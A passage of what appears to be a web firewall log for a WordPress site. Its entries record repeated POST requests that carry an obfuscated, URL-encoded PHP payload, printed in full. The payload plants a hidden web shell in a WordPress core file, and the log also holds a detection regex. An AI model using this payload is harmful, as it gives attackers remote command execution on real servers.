5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:52:16","77.65.47.245","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Nx:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-importer.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524binding1%2520%253D%2520%2527737%2527%253B%2524binding2%2520%253D%2520%2527973%2527%253B%2524binding3%2520%253D%2520%252756d%2527%253B%2524binding4%2520%253D%2520%2527736%2527%253B%2524binding5%2520%253D%2520%2527c5f%2527%253B%2524binding6%2520%253D%2520%2527657%2527%253B%2524binding7%2520%253D%2520%2527865%2527%253B%2524binding8%2520%253D%2520%2527706%2527%253B%2524binding9%2520%253D%2520%2527468%2527%253B%2524binding10%2520%253D%2520%2527727%2527%253B%2524binding11%2520%253D%2520%2527f70%2527%253B%2524binding12%2520%253D%2520%2527656%2527%253B%2524binding13%2520%253D%2520%25276f6%2527%253B%2524binding14%2520%253D%2520%2527e74%2527%253B%2524binding15%2520%253D%2520%252736c%2527%253B%2524binding16%2520%253D%2520%25276f7%2527%253B%2524binding17%2520%253D%2520%2527617%2527%253B%2524binding18%2520%253D%2520%2527070%2527%253B%2524binding19%2520%253D%2520%2527697%2527%253B%2524binding20%2520%253D%2520%2527616%2527%253B%2524module_controller1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1%2520.%2520%2524binding2%2520.%2520%2527746%2527%2520.%2520%2524binding3%2529%253B%2524module_controller2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding4%2520.%2520%2527865%2527%2520.%2520%25276c6%2527%2520.%2520%2524binding5%2520.%2520%2524binding6%2520.%2520%2524binding7%2529%253B%2524module_controller3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding6%2520.%2520%2524binding7%2529%253B%2524module_controller4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding8%2520.%2520%2527173%2527%2520.%2520%2527737%2527%2520.%2520%2524binding9%2520.%2520%2524binding10%2529%253B%2524module_controller5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524binding11%2520.%2520%2527656%2527%2529%253B%2524module_controller6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2527472%2527%2520.%2520%2524binding12%2520.%2520%252716d%2527%2520.%2520%25275f6%2527%2520.%2520%2527765%2527%2520.%2520%2527745%2527%2520.%2520%2527f63%2527%2520.%2520%2524binding13%2520.%2520%2524binding14%2520.%2520%2524binding12%2520.%2520%2527e74%2527%2529%253B%2524module_controller7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding8%2520.%2520%2524binding15%2520.%2520%2524binding16%2520.%2520%2527365%2527%2529%253B%2524app_initializer%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding17%2520.%2520%2524binding18%2520.%2520%25275f6%2527%2520.%2520%252796e%2527%2520.%2520%2524binding19%2520.%2520%2527469%2527%2520.%2520%2524binding20%2520.%2520%2527c69%2527%2520.%2520%25277a6%2527%2520.%2520%2527572%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524app_initializer%255D%2529%2529%257B%2524app_initializer%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524app_initializer%255D%2529%253Bif%2528function_exists%2528%2524module_controller1%2529%2529%257B%2524module_controller1%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524module_controller2%2529%2529%257Bprint%2520%2524module_controller2%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524module_controller3%2529%2529%257B%2524module_controller3%2528%2524app_initializer%252C%2524pointer_marker%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524pointer_marker%2529%253B%257Delseif%2528function_exists%2528%2524module_controller4%2529%2529%257B%2524module_controller4%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524module_controller5%2529%2526%2526function_exists%2528%2524module_controller6%2529%2526%2526function_exists%2528%2524module_controller7%2529%2529%257B%2524flg_comp%253D%2524module_controller5%2528%2524app_initializer%252C%2522r%2522%2529%253Bif%2528%2524flg_comp%2529%257B%2524res_token%253D%2524module_controller6%2528%2524flg_comp%2529%253B%2524module_controller7%2528%2524flg_comp%2529%253Bprint%2520%2524res_token%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:6897\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-encoding:gzip,deflate\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGatvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhqTIlozSfVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-fetch-site:none\n\nNx=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-importer.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524binding1%2520%253D%2520%2527737%2527%253B%2524binding2%2520%253D%2520%2527973%2527%253B%2524binding3%2520%253D%2520%252756d%2527%253B%2524binding4%2520%253D%2520%2527736%2527%253B%2524binding5%2520%253D%2520%2527c5f%2527%253B%2524binding6%2520%253D%2520%2527657%2527%253B%2524binding7%2520%253D%2520%2527865%2527%253B%2524binding8%2520%253D%2520%2527706%2527%253B%2524binding9%2520%253D%2520%2527468%2527%253B%2524binding10%2520%253D%2520%2527727%2527%253B%2524binding11%2520%253D%2520%2527f70%2527%253B%2524binding12%2520%253D%2520%2527656%2527%253B%2524binding13%2520%253D%2520%25276f6%2527%253B%2524binding14%2520%253D%2520%2527e74%2527%253B%2524binding15%2520%253D%2520%252736c%2527%253B%2524binding16%2520%253D%2520%25276f7%2527%253B%2524binding17%2520%253D%2520%2527617%2527%253B%2524binding18%2520%253D%2520%2527070%2527%253B%2524binding19%2520%253D%2520%2527697%2527%253B%2524binding20%2520%253D%2520%2527616%2527%253B%2524module_controller1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1%2520.%2520%2524binding2%2520.%2520%2527746%2527%2520.%2520%2524binding3%2529%253B%2524module_controller2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding4%2520.%2520%2527865%2527%2520.%2520%25276c6%2527%2520.%2520%2524binding5%2520.%2520%2524binding6%2520.%2520%2524binding7%2529%253B%2524module_controller3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding6%2520.%2520%2524binding7%2529%253B%2524module_controller4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding8%2520.%2520%2527173%2527%2520.%2520%2527737%2527%2520.%2520%2524binding9%2520.%2520%2524binding10%2529%253B%2524module_controller5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524binding11%2520.%2520%2527656%2527%2529%253B%2524module_controller6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2527472%2527%2520.%2520%2524binding12%2520.%2520%252716d%2527%2520.%2520%25275f6%2527%2520.%2520%2527765%2527%2520.%2520%2527745%2527%2520.%2520%2527f63%2527%2520.%2520%2524binding13%2520.%2520%2524binding14%2520.%2520%2524binding12%2520.%2520%2527e74%2527%2529%253B%2524module_controller7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding8%2520.%2520%2524binding15%2520.%2520%2524binding16%2520.%2520%2527365%2527%2529%253B%2524app_initializer%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding17%2520.%2520%2524binding18%2520.%2520%25275f6%2527%2520.%2520%252796e%2527%2520.%2520%2524binding19%2520.%2520%2527469%2527%2520.%2520%2524binding20%2520.%2520%2527c69%2527%2520.%2520%25277a6%2527%2520.%2520%2527572%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524app_initializer%255D%2529%2529%257B%2524app_initializer%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524app_initializer%255D%2529%253Bif%2528function_exists%2528%2524module_controller1%2529%2529%257B%2524module_controller1%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524module_controller2%2529%2529%257Bprint%2520%2524module_controller2%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524module_controller3%2529%2529%257B%2524module_controller3%2528%2524app_initializer%252C%2524pointer_marker%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524pointer_marker%2529%253B%257Delseif%2528function_exists%2528%2524module_controller4%2529%2529%257B%2524module_controller4%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524module_controller5%2529%2526%2526function_exists%2528%2524module_controller6%2529%2526%2526function_exists%2528%2524module_controller7%2529%2529%257B%2524flg_comp%253D%2524module_controller5%2528%2524app_initializer%252C%2522r%2522%2529%253Bif%2528%2524flg_comp%2529%257B%2524res_token%253D%2524module_controller6%2528%2524flg_comp%2529%253B%2524module_controller7%2528%2524flg_comp%2529%253Bprint%2520%2524res_token%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:52:18","192.3.12.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> sU:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-importer.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524binding1%2520%253D%2520%2527737%2527%253B%2524binding2%2520%253D%2520%2527973%2527%253B%2524binding3%2520%253D%2520%252756d%2527%253B%2524binding4%2520%253D%2520%2527736%2527%253B%2524binding5%2520%253D%2520%2527c5f%2527%253B%2524binding6%2520%253D%2520%2527657%2527%253B%2524binding7%2520%253D%2520%2527865%2527%253B%2524binding8%2520%253D%2520%2527706%2527%253B%2524binding9%2520%253D%2520%2527468%2527%253B%2524binding10%2520%253D%2520%2527727%2527%253B%2524binding11%2520%253D%2520%2527f70%2527%253B%2524binding12%2520%253D%2520%2527656%2527%253B%2524binding13%2520%253D%2520%25276f6%2527%253B%2524binding14%2520%253D%2520%2527e74%2527%253B%2524binding15%2520%253D%2520%252736c%2527%253B%2524binding16%2520%253D%2520%25276f7%2527%253B%2524binding17%2520%253D%2520%2527617%2527%253B%2524binding18%2520%253D%2520%2527070%2527%253B%2524binding19%2520%253D%2520%2527697%2527%253B%2524binding20%2520%253D%2520%2527616%2527%253B%2524module_controller1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1%2520.%2520%2524binding2%2520.%2520%2527746%2527%2520.%2520%2524binding3%2529%253B%2524module_controller2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding4%2520.%2520%2527865%2527%2520.%2520%25276c6%2527%2520.%2520%2524binding5%2520.%2520%2524binding6%2520.%2520%2524binding7%2529%253B%2524module_controller3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding6%2520.%2520%2524binding7%2529%253B%2524module_controller4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding8%2520.%2520%2527173%2527%2520.%2520%2527737%2527%2520.%2520%2524binding9%2520.%2520%2524binding10%2529%253B%2524module_controller5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524binding11%2520.%2520%2527656%2527%2529%253B%2524module_controller6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2527472%2527%2520.%2520%2524binding12%2520.%2520%252716d%2527%2520.%2520%25275f6%2527%2520.%2520%2527765%2527%2520.%2520%2527745%2527%2520.%2520%2527f63%2527%2520.%2520%2524binding13%2520.%2520%2524binding14%2520.%2520%2524binding12%2520.%2520%2527e74%2527%2529%253B%2524module_controller7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding8%2520.%2520%2524binding15%2520.%2520%2524binding16%2520.%2520%2527365%2527%2529%253B%2524app_initializer%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding17%2520.%2520%2524binding18%2520.%2520%25275f6%2527%2520.%2520%252796e%2527%2520.%2520%2524binding19%2520.%2520%2527469%2527%2520.%2520%2524binding20%2520.%2520%2527c69%2527%2520.%2520%25277a6%2527%2520.%2520%2527572%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524app_initializer%255D%2529%2529%257B%2524app_initializer%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524app_initializer%255D%2529%253Bif%2528function_exists%2528%2524module_controller1%2529%2529%257B%2524module_controller1%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524module_controller2%2529%2529%257Bprint%2520%2524module_controller2%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524module_controller3%2529%2529%257B%2524module_controller3%2528%2524app_initializer%252C%2524pointer_marker%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524pointer_marker%2529%253B%257Delseif%2528function_exists%2528%2524module_controller4%2529%2529%257B%2524module_controller4%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524module_controller5%2529%2526%2526function_exists%2528%2524module_controller6%2529%2526%2526function_exists%2528%2524module_controller7%2529%2529%257B%2524flg_comp%253D%2524module_controller5%2528%2524app_initializer%252C%2522r%2522%2529%253Bif%2528%2524flg_comp%2529%257B%2524res_token%253D%2524module_controller6%2528%2524flg_comp%2529%253B%2524module_controller7%2528%2524flg_comp%2529%253Bprint%2520%2524res_token%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:6897\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-encoding:gzip,deflate\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google Chrome\";v=\"110\"\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua-mobile:?0\naccept:*\/*\nsec-ch-ua-platform:\"Windows\"\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvp1HvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-site:none\n\nsU=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-importer.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524binding1%2520%253D%2520%2527737%2527%253B%2524binding2%2520%253D%2520%2527973%2527%253B%2524binding3%2520%253D%2520%252756d%2527%253B%2524binding4%2520%253D%2520%2527736%2527%253B%2524binding5%2520%253D%2520%2527c5f%2527%253B%2524binding6%2520%253D%2520%2527657%2527%253B%2524binding7%2520%253D%2520%2527865%2527%253B%2524binding8%2520%253D%2520%2527706%2527%253B%2524binding9%2520%253D%2520%2527468%2527%253B%2524binding10%2520%253D%2520%2527727%2527%253B%2524binding11%2520%253D%2520%2527f70%2527%253B%2524binding12%2520%253D%2520%2527656%2527%253B%2524binding13%2520%253D%2520%25276f6%2527%253B%2524binding14%2520%253D%2520%2527e74%2527%253B%2524binding15%2520%253D%2520%252736c%2527%253B%2524binding16%2520%253D%2520%25276f7%2527%253B%2524binding17%2520%253D%2520%2527617%2527%253B%2524binding18%2520%253D%2520%2527070%2527%253B%2524binding19%2520%253D%2520%2527697%2527%253B%2524binding20%2520%253D%2520%2527616%2527%253B%2524module_controller1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1%2520.%2520%2524binding2%2520.%2520%2527746%2527%2520.%2520%2524binding3%2529%253B%2524module_controller2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding4%2520.%2520%2527865%2527%2520.%2520%25276c6%2527%2520.%2520%2524binding5%2520.%2520%2524binding6%2520.%2520%2524binding7%2529%253B%2524module_controller3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding6%2520.%2520%2524binding7%2529%253B%2524module_controller4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding8%2520.%2520%2527173%2527%2520.%2520%2527737%2527%2520.%2520%2524binding9%2520.%2520%2524binding10%2529%253B%2524module_controller5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527706%2527%2520.%2520%2524binding11%2520.%2520%2527656%2527%2529%253B%2524module_controller6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2527737%2527%2520.%2520%2527472%2527%2520.%2520%2524binding12%2520.%2520%252716d%2527%2520.%2520%25275f6%2527%2520.%2520%2527765%2527%2520.%2520%2527745%2527%2520.%2520%2527f63%2527%2520.%2520%2524binding13%2520.%2520%2524binding14%2520.%2520%2524binding12%2520.%2520%2527e74%2527%2529%253B%2524module_controller7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding8%2520.%2520%2524binding15%2520.%2520%2524binding16%2520.%2520%2527365%2527%2529%253B%2524app_initializer%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding17%2520.%2520%2524binding18%2520.%2520%25275f6%2527%2520.%2520%252796e%2527%2520.%2520%2524binding19%2520.%2520%2527469%2527%2520.%2520%2524binding20%2520.%2520%2527c69%2527%2520.%2520%25277a6%2527%2520.%2520%2527572%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524app_initializer%255D%2529%2529%257B%2524app_initializer%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524app_initializer%255D%2529%253Bif%2528function_exists%2528%2524module_controller1%2529%2529%257B%2524module_controller1%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524module_controller2%2529%2529%257Bprint%2520%2524module_controller2%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524module_controller3%2529%2529%257B%2524module_controller3%2528%2524app_initializer%252C%2524pointer_marker%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524pointer_marker%2529%253B%257Delseif%2528function_exists%2528%2524module_controller4%2529%2529%257B%2524module_controller4%2528%2524app_initializer%2529%253B%257Delseif%2528function_exists%2528%2524module_controller5%2529%2526%2526function_exists%2528%2524module_controller6%2529%2526%2526function_exists%2528%2524module_controller7%2529%2529%257B%2524flg_comp%253D%2524module_controller5%2528%2524app_initializer%252C%2522r%2522%2529%253Bif%2528%2524flg_comp%2529%257B%2524res_token%253D%2524module_controller6%2528%2524flg_comp%2529%253B%2524module_controller7%2528%2524flg_comp%2529%253Bprint%2520%2524res_token%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:52:20","141.95.124.215","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> HC:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-importer.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524binding1%2520%253D%2520%2527737%2527%253B%2524binding2%2520%253D%2520%2527973%2527%253B%2524binding3%2520%253D%2520%252756d%2527%253B%2524binding4%2520%253D%2520%2527736%2527%253B%2524binding5%2520%253D%2520%2527c5f%2527%253B%2524binding6%2520%253D%2520%2527657%2527%253B%2524binding7%2520%253D%2520%2527865%2527%253B%2524binding8%2520%253D%2520%2527706%2527%253B%2524binding9%2520%253D%2520%2527468%2527%253B%2524binding10%2520%253D%2520%2527727%2527%253B%2524binding11%2520%253D%2520%2527f70%2527%253B%2524binding12%2520%253D%2520%2527656%2527%253B%2524binding13%2520%253D%2520%25276f6%2527%253B%2524binding14%2520%253D%2520%2527e74%2527%253B%2524binding15%2520%253D%2520%252736c%2527%253B%2524binding16%2520%253D%2520%25276f7%2527%253B%2524binding17%2520%253D%2520%2527617%2527%253B%2524binding18%2520%253D%2520%2527070%2527%253B%2524binding19%2520%253D%2520%2527697%2527%253B%2524binding20%2520%253D%2520%2527616%2527%253B%2524module_controller1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding1%2520.%2520%2524binding2%2520.%2520%2527746%2527%2520.%2520%2524binding3%2529%253B%2524module_controller2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524binding4%2520.%2520%2527865%2527%2520.%2520%25276c6%25